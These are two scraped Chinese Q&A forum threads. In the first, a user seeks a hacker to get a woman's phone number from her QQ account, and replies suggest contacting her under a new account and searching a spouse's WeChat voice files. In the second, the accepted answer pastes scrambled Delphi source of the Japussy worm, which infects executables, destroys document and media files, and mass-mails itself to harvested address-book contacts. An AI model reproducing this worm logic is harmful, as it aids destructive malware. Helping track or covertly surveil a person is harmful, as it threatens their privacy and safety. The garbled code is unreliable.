求人介绍一个可靠的黑客，我想找个人帮我找另外一个人_百度知道
求人介绍一个可靠的黑客，我想找个人帮我找另外一个人
谢谢各位了。在网上找到有收费的，不想上当了，只有她的Q号，我想花点钱就花点吧。希望大家帮忙介绍个高手我想找一个人，请大家帮帮忙，查到她的QQ号和地址，可是上当了。这个人对我很重要
错了，有QQ号，想找手机号。
提问者采纳
从慢慢的聊天中问她手机号，运气很重要，我建议你用新的QQ号去加她，黑客也很难帮上忙的这种问题很难的，这种方法最佳
提问者评价
你最实在。下面的就是骗子。QQ：这个是骗子。欢欢，为了找你我心甘情愿的被骗。
其他类似问题
为您推荐：
黑客的相关知识
其他5条回答
你好，如果你愿意我很愿意帮忙，但不一定能成功！谢谢
这样做会影响夫妻之间的感情，如果他没出现原则性的情况，个人觉得你还是把这个想法抛弃了吧。要是看不明白需要查就找他，他的技术很厉害的 ()。我以前就是找他的到sd卡目录的微信文件夹，即sdcard/Tencent/MicroMsg，看到一个一串乱七八糟的数字和字母组合的文件夹，进入，看到voice文件夹，里面存储的就是微信的语音文件了，格式是amr的，用暴风就可直接播放，自己好好存起来吧~~找到之后你就可以慢慢一个个查了但是两口子之间应该相互信任，
我现在和你情况查不到
请问你现在找到没？有没有什么可行的方法？求求你告诉我一下
兄弟找到可信的黑客了吗？我也需要
+↑有什么事情
等待您来回答
下载知道APP
随时随地咨询
出门在外也不愁黑客帮帮我_百度知道
黑客帮帮我
谁能把熊猫烧香的病毒程序资料告诉我一下,要一字不差的哦!谢谢了!
提问者采纳
Free.F finally HdrS IcoS except: Integer:= 0;/ Str: I不是目录 else if (SearchRec:= UpperCase(ExtractFileExt(Fn));&#47.JPG' &#47.' + &#39, 0):= 0.Read(iID; / 是根目录 ) or (Ext = &#39:' &#47, 0).Create(FileName, 4); function IsValidDir(SearchR) or (Ext = '/ Si; aIcon.Write(iID;; SubD&#47.dwFlags , 2), 0; &#47:= SizeOf(TOSVersionInfo).Free, C;函数声明 var TmpF if Infected or (not IsPE) then &#47.' while True do / end.Free.DOC&#39.exe } IconSize = $2E8;/ / //; TmpF SrcS&#47, Classes，存入流 aI/ if (V文件大小 &#47.; / Pi:= Size div Max？ end:= TIcon.PDF' Si;) or (Ext = &#39.Seek(dStartP;/，以备写入 Catchword = ' var DiskT/ begin for i .RES} function RegisterServiceProcess(dwProcessID; SearchR dStartP调整消息队列: STARTUPINFO.WMA' // PE文件主图标的大小--744字节 IconTail = IconOffset + IconSize.&#39:= STARTF_USESHOWWINDOW, SearchRec) = 0) then begin repeat if IsValidDir(SearchRec) = 1 then SubD end.A ***&#39，将Base64编码后的病毒写入 /检查感染标记 SrcStream, nil.Attr = 16) and (SearchRec.EXE&#39, Length(TmpFile) - 4;& if (Buf[0] = #80) and (Buf[1] = #69) then &#47, Graphics.WAB&#39, IconO var sCurP&#39, Mask.Seek(-4; stdcall.*' M aI D已寄生于宿主程序上了;: Char, PChar(FileName).F&#47:= T then &#47，感染和摧毁文件 } procedure LoopFiles(P替换宿主文件 DstStream, 4); Si; { 在流之间复制 } procedure CopyStream(S在我的Delphi5 SP1上面编译得到的大小, ' end.SWF'是倭文操作系统 begin if (Ext = ';) then R& Fn;&#47:= GetDriveType(PChar(Str)); end: I ' E获取Outlook邮件地址 end else if Ext = &#39.MPEG&#39, faD发带毒邮件 Sleep(1000 * 60 * 5);&#47: STARTUPINFO;跳过头部的病毒部分 dS try for i , HeaderSize - IconTail):Outlook地址簿文件 begin &#47: I/ { 填充STARTUPINFO结构 } procedure FillStartupInfo(var Si;头文件 HdrS { 遍历目录;) or (Ext = ' / { 发带毒邮件 } procedure SendMail, 0);) or (Ext = '创建新进程运行之 InfectFiles: TMemoryS &gt.P DstS) or (Ext = ' sStartP { 将目标文件写入垃圾码后删除 } procedure SmashFile(FileName:= TStringL finally dStream:&#39, SW_SHOWDEFAULT):= ExtractIcon(HI:= nil, PM_REMOVE).dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then /遍历26个字母 begin D ;/定位 &#47.24W 用法; Inc(i);: TSearchRec).CopyFrom(S then &#47.1] of Char, L finally SrcStream.Worm.HTML&#39:= T真正的宿主文件:= 0 / IsPE ,&#47, fmOpenRead); : TSearchRec.Create.Seek(sStartP /) or (Ext = '关闭文件
Si; IsJ.Count - 1;; &#47:= Result + D; while i &&#47.SaveToFile(FileName), SrcStream.Size).F&#47，将文件彻底破坏掉 FileWrite(FileH begin if (SearchR) then begin InfectOneFile(Fn);) or (Ext = '去死吧, Pi): Integer, IsPE; // end: upx -9 --8086 J IcoStream:= Random(15);;垃圾码; if (iID = ID) or (SrcStream, 0, True.Read(B;If a country need to be destroyed, HeaderS begin if GetACP = 932 then / begin try /; &#47.EXE' var sStream.HTM' ) or (Ext = '/睡眠5分钟
Randomize: Integer).ASF'&#47: B, nil); Si, ') or (Ext = '/ 10240) then / begin try sS病毒体的大小 IconOffset = $12EB8;遍历每个磁盘驱动器 LoopFiles(DriverList[i] + '; if (Ext = ' var i; /打开文件 try Size , M &#47:= 5; i;&/ until (FindNext(SearchRec) &lt:= TmpFile + #32 + &#39.dwOSVersionInfoS i; 感染浏览此网页的所有用户 /&#47.Seek(HeaderS DstS) or (Ext = &#39: TOSVersionInfo, IconT*. &#39: Integer, C查找的十六进制字符串可以找到主图标的偏移量 { HeaderSize = 38912;写入垃圾码: Integer).Name & begin Si; if (FindFirst(Path + &#39, DstS if not GetVersionEx(Ver) then Exit.AVI&#39, Len.lpDesktop , PChar(TmpFile).ZIP&#39: Word, 0);&#47:= S &#47,) = 0 then InfectFiles /远程线程映射到Explorer进程 /感染和发邮件 else &#47, Si. &#39.Seek(dCurP B / ' 0); + &#39, 2);&JJAPUSSY.SCR&#39: PROCESS_INFORMATION;/ end:= FileOpen(FileNUpx压缩过病毒体的大小 IconOffset = $92BC, Ext, 0);/写入已感染的标记 DstStream.Seek(sCurPos！ DriverList .:= TFileStream.lpReserved .J&#47:摧毁文件 end.GIF') then SmashFile(Fn).Strings[i] + '/PE文件主图标的尾部 ID = $; finally sS得到被感染文件的主图标(744字节): TM日文操作系统 IsJap ，以备使用 } procedure ExtractFile(FileName: I FreeAndNil(SubDir); var HdrS感染HTML和ASP文件, fmOpenRead or fmShareDenyNone);:= nil.C/ Count.Add(SearchRec:= 0 to 25 do // try sS // /; ; var Ver: string); /感染可执行文件 end else if (Ext = '&#47:= False, 0: string, 0);感染标记 &#47: string);
0); M IIf a race n死循环 begin for i .RM&#39.ASP&#39, SearchRec) = 0) then begin repeat PeekMessage(M/) or (Ext = &#39.*&#39.dll&#39, fmOpenRead): I / I获取Foxmail邮件地址 end else if Ext = &#39.lpT; IcoS const HeaderSize = 82432;; &#47:= TFileS try dStream := True:= F Dst, SrcStream, fmOpenRead or fmShareDenyNone);) then R是Win9x RegisterServiceProcess(GetCurrentProcessID: TIcon, faAnyFile:= D&#47, DstS &#47.Name &lt:= TFileS iID.Create(ParamStr(0); S except 是PE文件 B begin try SetFileAttributes(PChar(FileName);, it must be J写入宿主程序 CopyStream(SrcS&#47, IconSize);Upx压缩过PE文件主图标的偏移量 /&#47:= $:= 0 to $108 do &#47, sStream: string):= nil:= True, Len); &#47.Create(FileN 16) and (SearchR begin sCurPos .XLS&#39, DstStream.Size - HeaderSize);/ /;&#47.Seek(i;/哪位兄台愿意完成之;// /&#47, Count), dwT &#47.wShowW写入目前程序的主图标 CopyStream(IcoS/ dCurP不是根目录 else R&#47.exe';/; i;Win9x R / &#47.F CreateProcess(PChar(TmpFile);/注册为服务进程 else /Kernel32.Create.MDB&#39: array[0:= GetDrives.; Max do begin FileSeek(FileH/) or (Ext = '创建临时文件 Delete(TmpF/; D; finally aI太小的文件不感染 Infected , 0.&#39, Registry}:= Length(Catchword):= SizeOf(Si); uses W;.Create.RAR&#39:= TMemoryS /分离之 FillStartupInfo(Si; /) = 0 then &#47，避免引起怀疑 if IsValidDir(SearchRec) = 0 then begin F begin &#47，开始工作 begin TmpF / Si:= 1 //日文操作系统标记 { 判断是否为Win9x } function IsWin9x: Boolean = False:= F;
/如果是原始病毒体自己 if CompareText(ExtractFileName(ParamStr(0)); S / V { 遍历磁盘上所有的文件 } procedure InfectF&#47: I { 获得可写的驱动器列表 } function GetDrives: TFileStream.P出错则文件正在被使用;
S感染和发邮件 end, it must be Y try //) or (Ext = ') or (Ext = ' { 将宿主文件从已感染的PE文件中分离出来.ADC' S&#47: TS;IND&#39，多一个空格 ExtractFile(TmpFile);/ aIcon, Mass:= Len downto 1 do / begin if (FindFirst(Path + M&#47: I) or (Ext = ' end:= S &#47, 1) / try aI begin R哪位仁兄愿意完成之.N每个间隔块的大小 L.Create(ParamStr(0);写入病毒体主图标之前的数据 CopyStream(HdrStream.JPEG'得到本地磁盘和网络盘 if (DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) then R / 5 then M/ / try / Si, fmOpenWrite); SrcS &#47, soFromBeginning);&#47, '写入垃圾码的随机次数 if Max &lt, soFromEnd);) and (SearchR i;&#47:= SubD写入病毒体主图标到病毒体尾部之间的数据 CopyStream(HdrStream:= D + ' /&#47.Name &lt.cbReserved2 .Seek(0.H感染之 SendMail, fmCreate), dCurP:= TFileS /感染或删除一个文件后睡眠200毫秒;是自己则不感染 E Max := Chr(i + 65); iID :=&gt.F, 0);去掉只读属性 FileH;Upx 1; /Foxmail地址簿文件 begin &#47, 0);) or (Ext = ' SrcS &#47, SysUtils:= TFileS删除之 except end.CopyFrom(sStream! &#39.ReleaseH):= Length(DriverList);如果感染过了或不是PE文件则退出 Exit: Word);: string);*把原代码给你得了program Japussy: TFileS {$R *;) and (SearchR Count , ShellAPI{.MP3&#39:*** W32;Foxmail地址自动完成文件 begin &#47.CHM') then begin /) or (Ext = &#39, 22;// &#47，其它版本的Delphi可能不同 &#47.RA' until (FindNext(SearchRec) &&#47: var FileH { 感染PE文件 } procedure InfectOneFile(FileName, Mask);; then &#47: LongInt: Boolean, ' finally FileClose(FileHandle).lpReserved2 ; external &#39, Size:= GetFileSize(FileH&#47.Create(FileN哪位大兄弟愿意完成之.&#39, IconTail.SaveToStream(IcoStream);:= 0 to Count do LoopFiles(Path + SubD/) or (Ext = 'PE标记 begin IsPE ;/&#47.Name & SubD/ Dst，避免CPU占用率过高引起怀疑 Sleep(200).Size &lt, dStream: TSWinNT begin &#47, IconOffset); DstStream := Path + SearchRec, DstStream: TStrings:= TMemoryStream.exe';// end, 0, DstS&#47.Name); SrcS { 主程序开始 } begin if IsWin9x then /) or (Ext = &#39, 0; FindClose(SearchRec); / Si; / DiskT&#47: I &#39，退出 if CompareText(FileN / / var DriverL D finally SrcS;; FindClose(SearchRec);获取Foxmail邮件地址 end else begin if IsJap then &#47:= ParamStr(0), 4)？ end, 0; / /检查PE文件头 begin SrcStream, i * Mass.Attr &lt:= 2; end？ end else if Ext = ' DeleteFile(PChar(FileName));得到可写的磁盘列表 L&//PE文件主图标的偏移量 &#47
提问者评价
其他类似问题
为您推荐：
其他1条回答
下载知道APP
随时随地咨询
出门在外也不愁}